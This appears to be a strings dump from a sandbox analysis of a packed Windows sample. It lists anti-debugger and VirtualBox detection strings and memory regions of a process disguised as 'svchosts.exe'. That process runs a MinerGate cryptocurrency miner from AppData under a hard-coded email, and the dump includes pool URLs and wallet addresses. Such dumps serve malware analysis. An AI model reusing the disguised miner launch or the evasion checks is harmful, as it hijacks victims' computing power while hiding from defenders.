WIN_VER_WINDOWS2008_MEDIUMBUSINESS_SERVER_MESSAGING

Windows 2008 Medium Business Server Security

WIN_VER_WINDOWS2008_MEDIUMBUSINESS_SERVER_SECURITY

Windows 2008 Standard Server

WIN_VER_WINDOWS2008_STANDARD_SERVER

Windows 2008 Standard Server V

WIN_VER_WINDOWS2008_STANDARD_SERVER_V

Windows 2008 Standard Server Core

WIN_VER_WINDOWS2008_STANDARD_SERVER_CORE

Windows 2008 Standard Server Core V

WIN_VER_WINDOWS2008_STANDARD_SERVER_CORE_V

Windows 2008 Starter

WIN_VER_WINDOWS2008_STARTER

Windows 2008 Storage Enterprise Server

WIN_VER_WINDOWS2008_STORAGE_ENTERPRISE_SERVER

Windows 2008 Storage Express Server

WIN_VER_WINDOWS2008_STORAGE_EXPRESS_SERVER

Windows 2008 Storage Standard Server

WIN_VER_WINDOWS2008_STORAGE_STANDARD_SERVER

Windows 2008 Storage Workgroup Server

WIN_VER_WINDOWS2008_STORAGE_WORKGROUP_SERVER

Windows 2008 Undefined

WIN_VER_WINDOWS2008_UNDEFINED

Windows 2008 Ultimate

WIN_VER_WINDOWS2008_ULTIMATE

Windows 2008 Web Server

WIN_VER_WINDOWS2008_WEB_SERVER

Windows 2008 Web Server Core

WIN_VER_WINDOWS2008_WEB_SERVER_CORE

Windows 2008 Unlicensed

WIN_VER_WINDOWS2008_UNLICENSED

Windows 2008 R2

WIN_VER_WINDOWS2008R2

Windows 2008 R2 Business

WIN_VER_WINDOWS2008R2_BUSINESS

Windows 2008 R2 Cluster Server

WIN_VER_WINDOWS2008R2_CLUSTER_SERVER

Windows 2008 R2 Datacenter Server

WIN_VER_WINDOWS2008R2_DATACENTER_SERVER

Windows 2008 R2 Datacenter Server Core

WIN_VER_WINDOWS2008R2_DATACENTER_SERVER_CORE

Windows 2008 R2 Datacenter Server Core V

WIN_VER_WINDOWS2008R2_DATACENTER_SERVER_CORE_V

Windows 2008 R2 Datacenter Server V

WIN_VER_WINDOWS2008R2_DATACENTER_SERVER_V

Windows 2008 R2 Enterprise

WIN_VER_WINDOWS2008R2_ENTERPRICE

Windows 2008 R2 Enterprise Server

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER

Windows 2008 R2 Enterprise Server Core

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_CORE

Windows 2008 R2 Enterprise Server V

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_V

Windows 2008 R2 Enterprise Server Core V

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_CORE_V

Windows 2008 R2 Enterprise Server IA64

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_IA64

Windows 2008 R2 Home Basic

WIN_VER_WINDOWS2008R2_HOME_BASIC

Windows 2008 R2 Home Premium

WIN_VER_WINDOWS2008R2_HOME_PREMIUM

Windows 2008 R2 Home Server

WIN_VER_WINDOWS2008R2_HOME_SERVER

Windows 2008 R2 Server For Small Business

WIN_VER_WINDOWS2008R2_SERVER_FOR_SMALLBUSINESS

Windows 2008 R2 Small Business Server

WIN_VER_WINDOWS2008R2_SMALLBUSINESS_SERVER

Windows 2008 R2 Small Business Server Premium

WIN_VER_WINDOWS2008R2_SMALLBUSINESS_SERVER_PREMIUM

Windows 2008 R2 Medium Business Server Management

WIN_VER_WINDOWS2008R2_MEDIUMBUSINESS_SERVER_MANAGEMENT

Windows 2008 R2 Medium Business Server Messaging

WIN_VER_WINDOWS2008R2_MEDIUMBUSINESS_SERVER_MESSAGING

Windows 2008 R2 Medium Business Server Security

WIN_VER_WINDOWS2008R2_MEDIUMBUSINESS_SERVER_SECURITY

Windows 2008 R2 Standard Server

WIN_VER_WINDOWS2008R2_STANDARD_SERVER

Windows 2008 R2 Standard Server V

WIN_VER_WINDOWS2008R2_STANDARD_SERVER_V

Windows 2008 R2 Standard Server Core

WIN_VER_WINDOWS2008R2_STANDARD_SERVER_CORE

Windows 2008 R2 Standard Server Core V

WIN_VER_WINDOWS2008R2_STANDARD_SERVER_CORE_V

Windows 2008 R2 Starter

WIN_VER_WINDOWS2008R2_STARTER

Windows 2008 R2 Storage Enterprise Server

WIN_VER_WINDOWS2008R2_STORAGE_ENTERPRISE_SERVER

Windows 2008 R2 Storage Express Server

WIN_VER_WINDOWS2008R2_STORAGE_EXPRESS_SERVER

Windows 2008 R2 Storage Standard Server

WIN_VER_WINDOWS2008R2_STORAGE_STANDARD_SERVER

Windows 2008 R2 Storage Workgroup Server

WIN_VER_WINDOWS2008R2_STORAGE_WORKGROUP_SERVER

Windows 2008 R2 Undefined

WIN_VER_WINDOWS2008R2_UNDEFINED

Windows 2008 R2 Ultimate

WIN_VER_WINDOWS2008R2_ULTIMATE

Windows 2008 R2 Web Server

WIN_VER_WINDOWS2008R2_WEB_SERVER

Windows 2008 R2 Web Server Core

WIN_VER_WINDOWS2008R2_WEB_SERVER_CORE

Windows 2008 R2 Unlicensed

WIN_VER_WINDOWS2008R2_UNLICENSED

Windows 7

WIN_VER_WINDOWSSEVEN

Windows 7 Business

WIN_VER_WINDOWSSEVEN_BUSINESS

Windows 7 Cluster Server

WIN_VER_WINDOWSSEVEN_CLUSTER_SERVER

Windows 7 Datacenter Server

WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER

Windows 7 Datacenter Server Core

WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER_CORE

Windows 7 Datacenter Server Core V

WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER_CORE_V

Windows 7 Datacenter Server V

WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER_V

Windows 7 Enterprise

WIN_VER_WINDOWSSEVEN_ENTERPRICE

Windows 7 Enterprise Server

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER

Windows 7 Enterprise Server Core

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_CORE

Windows 7 Enterprise Server V

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_V

Windows 7 Enterprise Server Core V

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_CORE_V

Windows 7 Enterprise Server IA64

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_IA64

Windows 7 Home Basic

WIN_VER_WINDOWSSEVEN_HOME_BASIC

Windows 7 Home Premium

WIN_VER_WINDOWSSEVEN_HOME_PREMIUM

Windows 7 Home Server

WIN_VER_WINDOWSSEVEN_HOME_SERVER

Windows 7 Server For Small Business

WIN_VER_WINDOWSSEVEN_SERVER_FOR_SMALLBUSINESS

Windows 7 Small Business Server

WIN_VER_WINDOWSSEVEN_SMALLBUSINESS_SERVER

Windows 7 Small Business Server Premium

WIN_VER_WINDOWSSEVEN_SMALLBUSINESS_SERVER_PREMIUM

Windows 7 Medium Business Server Management

WIN_VER_WINDOWSSEVEN_MEDIUMBUSINESS_SERVER_MANAGEMENT

Windows 7 Medium Business Server Messaging

WIN_VER_WINDOWSSEVEN_MEDIUMBUSINESS_SERVER_MESSAGING

Windows 7 Medium Business Server Security

WIN_VER_WINDOWSSEVEN_MEDIUMBUSINESS_SERVER_SECURITY

Windows 7 Standard Server

WIN_VER_WINDOWSSEVEN_STANDARD_SERVER

Windows 7 Standard Server V

WIN_VER_WINDOWSSEVEN_STANDARD_SERVER_V

Windows 7 Standard Server Core

WIN_VER_WINDOWSSEVEN_STANDARD_SERVER_CORE

Windows 7 Standard Server Core V

WIN_VER_WINDOWSSEVEN_STANDARD_SERVER_CORE_V

Windows 7 Starter

WIN_VER_WINDOWSSEVEN_STARTER

Windows 7 Storage Enterprise Server

WIN_VER_WINDOWSSEVEN_STORAGE_ENTERPRISE_SERVER

Windows 7 Storage Express Server

WIN_VER_WINDOWSSEVEN_STORAGE_EXPRESS_SERVER

Windows 7 Storage Standard Server

WIN_VER_WINDOWSSEVEN_STORAGE_STANDARD_SERVER

Windows 7 Storage Workgroup Server

WIN_VER_WINDOWSSEVEN_STORAGE_WORKGROUP_SERVER

Windows 7 Undefined

WIN_VER_WINDOWSSEVEN_UNDEFINED

Windows 7 Ultimate

WIN_VER_WINDOWSSEVEN_ULTIMATE

Windows 7 Web Server

WIN_VER_WINDOWSSEVEN_WEB_SERVER

Windows 7 Web Server Core

WIN_VER_WINDOWSSEVEN_WEB_SERVER_CORE

Windows 7 Unlicensed

WIN_VER_WINDOWSSEVEN_UNLICENSED

Portuguese (Brazil)

Portuguese (Portugal)

Enigma_Plugin_OnSaveKey

Enigma_Plugin_OnLoadKey

ntdll.dll

LS_Enigma_Plugin_OnDeleteKey

TExecutedProcess

CCommonOperationSystem

ZwOpenKey

ZwEnumerateValueKey

ZwQueryKey

ZwQueryValueKey

ZwCreateKey

ZwEnumerateKey

ZwSetValueKey

ZwDeleteKey

ZwDeleteValueKey

ZwFlushKey

ZwLoadKey

ZwLoadKey2

ZwNotifyChangeKey

ZwQueryMultipleValueKey

ZwReplaceKey

ZwRestoreKey

ZwSaveKey

ZwSetInformationKey

ZwUnloadKey

ZwOpenKeyEx

TExported`

.Uym1

USER32.DLL

EInvalidGraphicOperation

uxtheme.dll

Proportional

MAPI32.DLL

TComboBoxExEnumerator

ssHorizontal

OnKeyDown

OnKeyPress

OnKeyUp

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

JumpID("","%s")

HelpKeyword

OnExecute

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreview

WindowState,E

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

vcltest3.dll

User32.dll

AutoHotkeys

AutoHotkeysHC

TKeyEvent

TKeyPressEvent

crSQLWait

%s (%s)

imm32.dll

w:\3rdparty\TntUnicode\Source\TntActnList.pas

PasswordChar

w:\3rdparty\TntUnicode\Source\TntStdCtrls.pas

w:\3rdparty\TntUnicode\Source\TntForms.pas

w:\3rdparty\TntUnicode\Source\TntMenus.pas

Internal Error: SyncHotKeyPosition Failed ("%s" <> "%s").

w:\3rdparty\TntUnicode\Source\TntControls.pas

Internal Error: SubClassUnicodeControl.Control is not Unicode.

.UnicodeClass

TntUnicodeVcl.DestroyWindow

Internal Error: Control does not support ITntGlyphButton.

dtPostMsg

Software\Microsoft\Windows\CurrentVersion

ProductKey

Software\Microsoft\Windows NT\CurrentVersion

\\.\PhysicalDrive0

\\.\%s

\\.\Scsi0:

\\.\SMARTVSD

w:\3rdparty\TntUnicode\Source\TntRegistry.pas

#$%&'()* ,-./01234

PSAPI.dll

s%F%,h

VBoxService.exe

ÞFAULT FOLDER%

%SYSTEM FOLDER%

%WINDOWS FOLDER%

Mutex object: Unique: %d-%d. Number: %d

DLL_Loader_Import_Unit

TInitImport

Could not load library: %s

k_ntdll.dll

File not found: %s

Can't find DLL entry point %s in %s

"%s" %s

%s %s

mscorwks.dll

mscoreei.dll

clr.dll

.llfw

<N$.Fkx

%s\%.8x%.8x-%.8x%.8x

X.xP`*U

)-%X`

coRegistratioKey

ZwQuerySection, Unsupported class %d

KeySetValue unsupported value type

ZwQueryValueKey, unsupported class %d

ZwQueryKey, unsupported class %d

ZwQueryObject with unsupported class

ZwReadFileInformation with unsupported class

ZwSetInformationFile with unsupported class

sxs.dll

THookWindowsAPI

nUc.HL@Y

\\.\NTICE

\\.\SICE

\\.\SIWDEBUG

I80|k.ZzD'

)TEnigmaProtectorLoaderFormStartuppassword

DLL_Loader_RunPassword_Unit

.brOmxw

1.2.3

Portable Network Graphics

decrypt_on_execute_begin

ECRONEXECB

decrypt_on_execute_end

ECRONEXECE

.section

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

;&;.;6;>;

?#?)?.?9?

1!1%1)1-11151~1

3 3$3(3,30383`3

;";&;*;.;2;

;$<=<`<{<

7&7.787=7

[0/1;102

0"0&0*000

5%5[5`5|5

3%4U4`4m4

1-171W1}1

0#0'0 0/0

1 1$1(1,1014181<1

8$8 82878

; ;(;0;8;@;

@``@``@``@``@``@``@``@

@``@``@``@``@``

333333333333333333

33333833

3333333333333338

:*"*"$3338

33333333

33333333333

3333333333338

33338?383

333333333333

:*3:"$3338

333333333333333

TntWindows

KWindows

UrlMon

_enigma_keygen_routines

virtualboximportunit

KeyRoutines

nJwaWindows

 DLL_Loader_Import_Unit

user32.dll

K3.hE-

.EKK*c

.Ri?0

.HhbL

.WBhSP

DBv}.Bv

CEw.AEw

advapi32.dll

version.dll

gdi32.dll

shell32.dll

SHFolder.dll

shlwapi.dll

GetWindowsDirectoryW

GetWindowsDirectoryA

GetCPInfo

GetKeyboardType

VkKeyScanW

UnhookWindowsHookEx

SetWindowsHookExW

SetWindowsHookExA

MsgWaitForMultipleObjects

MapVirtualKeyW

MapVirtualKeyA

LoadKeyboardLayoutA

GetKeyboardState

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyState

GetKeyNameTextW

GetKeyNameTextA

EnumWindows

EnumThreadWindows

ActivateKeyboardLayout

RegOpenKeyExA

RegCloseKey

RegOpenKeyA

RegFlushKey

RegCreateKeyExA

SetViewportOrgEx

ShellExecuteW

ShellExecuteA

RtlFormatCurrentUserKeyPath

.idata

.edata

P.reloc

P.rsrc

emulatorsdetect.dll

2'2U2^2j2q2

minergate-cli.exe

?coinKey@AbstractMinerEngine@MinerGate@@QBE?AVQString@@XZ

?defFeePoolChanged@CNBaseEngine@MinerGate@@AAEXABVQUrl@@@Z

?setCpuCores@AbstractMinerEngine@MinerGate@@QAEXI@Z

?setCpuCoresImpl@CNBaseEngine@MinerGate@@MAEXI@Z

?setCpuCoresImpl@ScryptBaseEngine@MinerGate@@MAEXI@Z

?startCpu@AbstractMinerEngine@MinerGate@@QAEXI@Z

?startCpuImpl@CNBaseEngine@MinerGate@@MAEXI@Z

?startCpuImpl@ScryptBaseEngine@MinerGate@@MAEXI@Z

Qt5Core.dll

Qt5Network.dll

Qt5WebSockets.dll

cudart32_60.dll

MSVCP110.dll

MSVCR110.dll

plib.dll

??0QWebSocket@@QAE@ABVQString@@W4Version@QWebSocketProtocol@@PAVQObject@@@Z

k.xxo

vi8%F

V?.EA`

l"X.xJzW|g~

94&:;%f

<K'PA.pd

4Id%fr

.xV/[

d:]4v.Hp

@G %D

.idart

`P.re

D.Vca

4.pXp

%SEoD

kern0l32.ud

;X.VB

-Dk%u

/S-Z}

o:.Lk>d

t:\N424

)9%XPh

%uC|p

12345678

#$%&*;<=.>@_

Keyw{

uÊl

s0.SVO

{:%cT

srO%C

%s_7d

_=p%u6

w:\3rdp^a

K:%Xa

cRTY E

S.rAtR

<.ou-(<Xf

TLM|%c

%Ch.ZZ

E).pJ

F.hqO

f;%XWm

6<Tj%S[i

%UlJ0

rviyc%s

.LR$/

7%)ntl%uG:

"%sc,4)

%SWv9Ia%

%cR1%

i|$_%DY

keyPs&<

23456789

BkEY

?,?3:4;8'9

%s2 (

.HYFKJ

 %SD3

,u%X'

hA.Dh

f;2%u[

Q.KPe

-y.lO

C Ö)

>X.PC$N(

.UP?1

("9%s

X%c&u

%s e(

.vpPDr

* ,-./01

e.UqOL&

.Mt>.

s%F@,h

ÞFAU

.uS%$

<N$.Fk

VirtualsP%ckP

-Q}iW

@%Xc^

Uc.HL@Y

;i.nc

ÜE6Hv

mc%dT

0}%f:7

%DZ`"

%C,/-

Q.KJ$'

"p.xUbP

Porta

8$4,6-9'

x"%D.

"%D,3

?F=N3V%f

?R?]%c

>P.km

Jx<%F

;-':X.NN

Xr9E%SA

.NgBH

z8H;\%U

3%x2KD

-.Ajo

.VX$~^~b~fJj

~"~&~*~.~2~6[:

-fYR%S

%C|:M

.ptY:(

8.tVkf

$y.fc

.Nd2(

~ ~$~(^,

.HhbX

p5.oie

.ex|'

'.sVd

Y.pKs

h.Xw%7

:%5xBP

VM8Y

X.vFY<`C

hb2%X

= \#= 58

-.zy/

IM?%c

>.LJ^[t

=7>E?R?_%f

-.AXo

>,&%d

?#?'? ?/%

49!:%&):

.oPAp

(.tb:

Site : hXXp://VVV.enigmaprotector.com/

E-mail : support@enigmaprotector.com

Unspecified error (%d) from %s.

%Cookies FOLDER%

enigma_ide.dll

%s - Entry Point Not Found

The procedure entry point %s could not be located in the dynamic link library %s.

ÚysToKeyExp%

%RegKey%

%KeyExpYear%

%KeyExpMonth%

%KeyExpDay%

%CU_EXTFILES%

%CU_EXECPR%

%CU_INSTSERV%

%CU_WINVER%

%CU_VIRTTOOLS%

%TrialExecsTotal%

%TrialExecsLeft%

%TrialExecMinsTotal%

%TrialExecMinsLeft%

hh.exe

write.exe

attrib.exe

chkdsk.exe

compact.exe

find.exe

help.exe

winver.exe

regsvr32.exe

replace.exe

dllhost.exe

ntvdm.exe

tcpsvcs.exe

Was not able to create virtual value at ImportCall_ZwSetValueKey

Was not able to create virtual key at ImportCall_ZwSetValueKey

ImportCall_ZwLoadKey

ImportCall_ZwLoadKey2

ImportCall_ZwNotifyChangeKey

ImportCall_ZwQueryMultipleValueKey

ImportCall_ZwReplaceKey

ImportCall_ZwRestoreKey

ImportCall_ZwSaveKey

ImportCall_ZwSetInformationKey

ImportCall_ZwUnloadKey

evb*.tmp

.manifest

Unsupported call of ZwSetVolumeInformationFile

@<>:"/\|?*

Application requires password to start

Enter password

Change password

New password:

Confirm new password:

The file being readed is not a valid "Portable Network Graphics" image because it contains an invalid header. This file may be corruped, try obtaining it again.nThis "Portable Network Graphics" image is not supported or it might be invalid.

This "Portable Network Graphics" image is not supported because either it's width or height exceeds the maximum size, which is 65535 pixels length.

There is no such palette entry.dThis "Portable Network Graphics" image contains an unknown critical part which could not be decoded.pThis "Portable Network Graphics" image is encoded with an unknown compression scheme which could not be decoded.cThis "Portable Network Graphics" image uses an unknown interlace scheme which could not be decoded.-The chunks must be compatible to be assigned.jThis "Portable Network Graphics" image is invalid because the decoder found an unexpected end of the file.8This "Portable Network Graphics" image contains no data.oSome operation could not be performed because the system is out of resources. Close some windows and try again.OThis operation is not valid because the current image contains no valid header.4The new size provided for image resizing is invalid.

RichEdit line insertion error=This control requires version 4.70 or greater of COMCTL32.DLL

No help keyword specified.&Cannot change the size of a JPEG image

JPEG error #%d

JPEG Image FilejThis "Portable Network Graphics" image is not valid because it contains invalid pieces of data (crc error)yThe "Portable Network Graphics" image could not be loaded because one of its main piece of data (ihdr) might be corruptedUThis "Portable Network Graphics" image is invalid because it has missing image parts.[Could not decompress the image because it contains invalid compressed data.

Description: BThe "Portable Network Graphics" image contains an invalid palette.

No help found for %s#No context-sensitive help installed$No topic-based help system installed

Alt  Clipboard does not support Icons

Text exceeds memo capacity/Menu '%s' is already being used by another form

Unsupported clipboard format

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window

Failed to set data for '%s'

Resource %s not found

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

Property %s does not exist

Thread creation error: %s

Thread Error: %s (%d)

Invalid Format Specifier: %s7CreateClone not implemented for class %s with source %s

Cannot open file "%s". %s

'%s' is an invalid mask at (%d)$''%s'' is not a valid component name

Invalid data type for '%s' List capacity out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d) Out of memory while expanding memory stream

Error reading %s%s%s: %s

Failed to get data for '%s'

.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters

Ancestor for '%s' not found

Cannot assign a %s to a %s

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s

Interface not supported

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

Invalid variant operation

Invalid NULL variant operation%Invalid variant operation (%s%.8x)

%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Operation not supported

External exception %x

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

Privileged instruction(Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

!'%s' is not a valid integer value

I/O error %d

Integer overflow Invalid floating point operation

Emulators usually hooks all Windows API functions (due to a lot of APIs),

conhost.exe_3004:

.text

`.data

.rsrc

@.reloc

GDI32.dll

USER32.dll

msvcrt.dll

ntdll.dll

API-MS-Win-Core-LocalRegistry-L1-1-0.dll

KERNEL32.dll

IMM32.dll

ole32.dll

OLEAUT32.dll

Bv.SCv

PutInputInBuffer: EventsWritten != 1 (0x%x), 1 expected

Invalid message 0x%x

InitExtendedEditKeys: Unsupported version number(%d)

Console init failed with status 0x%x

CreateWindowsWindow failed with status 0x%x, gle = 0x%x

InitWindowsStuff failed with status 0x%x (gle = 0x%x)

InitSideBySide failed create an activation context. Error: %d

GetModuleFileNameW requires more than ScratchBufferSize(%d) - 1.

GetModuleFileNameW failed %d.

Invalid EventType: 0x%x

Dup handle failed for %d of %d (Status = 0x%x)

Couldn't grow input buffer, Status == 0x%x

InitializeScrollBuffer failed, Status = 0x%x

CreateWindow failed with gle = 0x%x

Opening Font file failed with error 0x%x

\ega.cpi

NtReplyWaitReceivePort failed with Status 0x%x

ConsoleOpenWaitEvent failed with Status 0x%x

NtCreatePort failed with Status 0x%x

GetCharWidth32 failed with error 0x%x

GetTextMetricsW failed with error 0x%x

GetSystemEUDCRangeW: RegOpenKeyExW(%ws) failed, error = 0x%x

RtlStringCchCopy failed with Status 0x%x

Cannot allocate 0n%d bytes

|%SWj

O.fBf;

ReCreateDbcsScreenBuffer failed. Restoring to CP=%d

Invalid Parameter: 0x%x, 0x%x, 0x%x

ConsoleKeyInfo buffer is full

Invalid screen buffer size (0x%x, 0x%x)

SetROMFontCodePage: failed to memory allocation %d bytes

FONT.NT

Failed to set font image. wc=x, sz=(%x,%x)

Failed to set font image. wc=x sz=(%x, %x).

Failed to set font image. wc=x sz=(%x,%x)

FullscreenControlSetColors failed - Status = 0x%x

FullscreenControlSetPalette failed - Status = 0x%x

WriteCharsFromInput failed 0x%x

WriteCharsFromInput failed %x

RtlStringCchCopyW failed with Status 0x%x

CreateFontCache failed with Status 0x%x

FTPh

\>.Sj

GetKeyboardLayout

MapVirtualKeyW

VkKeyScanW

GetKeyboardState

UnhookWindowsHookEx

SetWindowsHookExW

GetKeyState

ActivateKeyboardLayout

GetKeyboardLayoutNameA

GetKeyboardLayoutNameW

_amsg_exit

_acmdln

ShipAssert

NtReplyWaitReceivePort

NtCreatePort

NtEnumerateValueKey

NtQueryValueKey

NtOpenKey

NtAcceptConnectPort

NtReplyPort

SetProcessShutdownParameters

GetCPInfo

conhost.pdb

%$%a%b%V%U%c%Q%W%]%\%[%

%<%^%_%Z%T%i%f%`%P%l%g%h%d%e%Y%X%R%S%k%j%

version="5.1.0.0"

name="Microsoft.Windows.ConsoleHost"

<requestedExecutionLevel

name="Microsoft.Windows.ConsoleHost.SystemDefault"

publicKeyToken="6595b64144ccf1df"

name="Microsoft.Windows.SystemCompatible"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

< =$>:>@>

2%2X2

%SystemRoot%

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Console\TrueTypeFont

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Console\FullScreen

WindowSize

ColorTableu

ExtendedEditkeyCustom

ExtendedEditKey

Software\Microsoft\Windows\CurrentVersion

\ !:=/.<>;|&

%d/%d

cmd.exe

desktop.ini

\console.dll

%d/%d

6.1.7601.17641 (win7sp1_gdr.110623-1503)

CONHOST.EXE

Windows

Operating System

6.1.7601.17641

svchosts.exe_3932_rwx_00870000_00004000:

Invalid NULL variant operation

Invalid variant operation

Variant method calls not supported

Access violation at address %p. %s of address %p

Invalid pointer operation

Invalid floating point operation

I/O error %d

'%s' is not a valid integer value

svchosts.exe_3932_rwx_00970000_00034000:

Interface not supported

External exception %x

Variant method calls not supported

Invalid variant operation

Invalid floating point operation

Invalid pointer operation

/* Dr Brian Gladman (gladman@seven77.demon.co.uk) 14th January 1999 */

Portable Network Graphics

?.jp_

"C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\svchosts.exe" -user gankmonk@mail.ru -bcn 1 2

EnigmaDevelopers\license.dat

application.exe

svchosts.exe_3932_rwx_009B0000_00008000:

wntdll.dll

>vkernel32.dll

ukernelbase.dll

1vuser32.dll

vgdi32.dll

vlpk.dll

bwusp10.dll

9wmsvcrt.dll

Dwadvapi32.dll

Lvsechost.dll

urpcrt4.dll

Nvoleaut32.dll

vole32.dll

`vshell32.dll

,wshlwapi.dll

uversion.dll

Qhqt5core.dll

2wws2_32.dll

_vnsi.dll

mmsvcp110.dll

hmsvcr110.dll

Chqt5network.dll

Audnsapi.dll

ucrypt32.dll

umsasn1.dll

nqt5websockets.dll

ncudart32_60.dll

nplib.dll

60.dll

`wimm32.dll

0.dll

$vmsctf.dll

mcomctl32.dll

qshfolder.dll

uprofapi.dll

usspicli.dll

qt5websockets.dl

qt5websockets.dl@

msvcp110.dll

msvcr110.dll8

kernel32.dll

user32.dll

GetKeyboardType

advapi32.dll

RegOpenKeyExA

RegCloseKey

emulatorsdetect.dll

2'2U2^2j2q2

KWindows

Emulators usually hooks all Windows API functions (due to a lot of APIs),

svchosts.exe_3932_rwx_009CC000_00014000:

kernel32.dllL

kernel32.dll

qt5core.dll

5(555;5]5

9 9;9@9[9`9{9

7!7/777]7

:#:):0:<:]:

?!?/?7?]?

(0/0@0\0

1&131:1|1

> >$>(>,>0>4>8>

5%6u6

8%8U8[8

3%3-393`3

2,282\2|2

: :@:\:`:|:

svchosts.exe_3932_rwx_01131000_007B7000:

}.SVW

..\..\..\..\sources\miner-console-application\src\main.cpp

minergate-cli [-version] -user <email> [-proxy <url>] -<currency> <threads> [<gpu intensity>] [-<currency> <threads> [<gpu intensity>] ...] [-o <pool> -u <login> [-t <threads>] [-i <gpu intensity>]]

account email from minergate.com

proxy server URL. Supports only socks protocols (for example: socks://192.168.0.1:1080

mining pool URL

mining pool login

minergate-cli -user minergate@minergate.com -proxy socks://192.168.0.1:1080 -bcn 4

minergate-cli -user minergate@minergate.com -proxy socks://192.168.0.1:1080 -xmr 2 -o stratum tcp://sbk.extremepool.org:5555 -u SbLi3ddQ7DWWs4EA3Rtqf6JNtfTVJHRzGXNUtiaACRXFEkQ9u8h9Gf9SYPW5ugpJKYECZXczYfc1BV1mkH8sYdmF1MyRMSdSj -t 3 -i 2

minergate-cli -user minergate@minergate.com -bcn 0 2 -fcn xmr 3 -qcn 1

minergate-cli -user minergate@minergate.com -bcn 2 2 -fcn xmr 3 -o stratum tcp://oec.xminingpool.com:7555 -u C5JUSUFJfkbbqpJAcrR7wK7FdzLAwjn52DF3sD2tyH3fgH9x95nAWshapc3JxpsEPoPSvcPNWpwsjRhCuFyA4G9xNiQd4Jt -t 3

minergate-cli -o stratum tcp://sbk.extremepool.org:5555 -u SbLi3ddQ7DWWs4EA3Rtqf6JNtfTVJHRzGXNUtiaACRXFEkQ9u8h9Gf9SYPW5ugpJKYECZXczYfc1BV1mkH8sYdmF1MyRMSdSj -i 3

Incorrect proxy URL

Pool login missed

login

.lock

2criticalUpdatesAvailableSignal(QUrl)

httpPort

stratumPort

stratum tcp://%1:%2

minermanager-lock-9637ffb0-bbf9-11e3-a5e2-0800200c9a66

Windows

hXXps://minergate.com

password

Missing password

/api/2.2/auth/login

1loginResp(quint32, QByteArray, QVariant)

Login request URL: %1

..\..\..\..\sources\miner-core\src\serverapi.cpp

JSON error: %s

WrongEmailOrPassword

Error: %s

Balance request URL: %1

Payout request URL: %1

webPageUrl

Login response data: %1

LOGIN response: %1

WebSocket connected successfully!

client.info

WebSocket disconnected

channel:mining.stats.changes

channel:user.profile

workers.statuses

WebSocket message: %1

loginResp

_pool_url

_coin_key

127.0.0.1

--api-port

%1.log

%1://%2:%3

bfgminer.exe

miners.ini

minergate.log

void __thiscall MinerGate::Logger::infoMsg(const class QString &,const class QString &)

..\..\..\..\sources\utils\src\logger.cpp

void __thiscall MinerGate::Logger::warningMsg(const class QString &,const class QString &)

void __thiscall MinerGate::Logger::criticalMsg(const class QString &,const class QString &)

void __thiscall MinerGate::Logger::fatalMsg(const class QString &,const class QString &)

[%1] [%2] %3

yyyy-MM-dd HH:mm:ss.zzz

proxy-url

application/x-www-form-urlencoded

%1:%2:%3:%4

WebSocket API Proxy: %1 %2:%3

/websocket/

https

dev@minergate.com

startCpu

jsonrpc_request_login

jsonrpc_response_login

tryLogin

1login(QVariantMap)

2jsonrpc_response_login(QVariantMap)

1tryLogin()

StratumClient: Login ERROR

Failed to submit share! (msg="%1" id="%2" job_id="%3" nonce="%4" result="%5"), updating job...

Failed to login! (msg="%1"), disconnect and sleep...

Error! (msg="%1" code="%2" method="%3"), disconnect and sleep...

JsonRpc::TcpNetworkEngine

GPU #%d: result for fee nonce $X does not validate on CPU!

GPU #%d: result for nonce $X does not validate on CPU!

q>e%D#

tX4Fr.rh.46Aw-wl-6

.eK9K\9.

C:\Users\user\Documents\projects\minergate.app\build\win32-cli\RelWithDebInfo\minergate-cli.pdb

.?AVTcpNetworkEngine@JsonRpc@@

t44Fr.rh.66Aw-wl-

..eK9K\9

.44Fr.rh-66Aw-wl

9..eK9K\W

h.44Fr.rl-66Aw-w

O\9..eK9K=W

trh.44Fr.wl-66Aw-

K\9..eK9

.rh.44Fr-wl-66Aw

O9K\9..eKW

r.rh.44Fw-wl-66A

tXXFr.rh.44Aw-wl-66

C:/Users/user/Documents/projects/minergate.app/sources/cudaminer/src/cuda_cryptonight_core.cu

{ 6;'67'

A.EK)W

.shstrtab

.strtab

.symtab

.text._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx

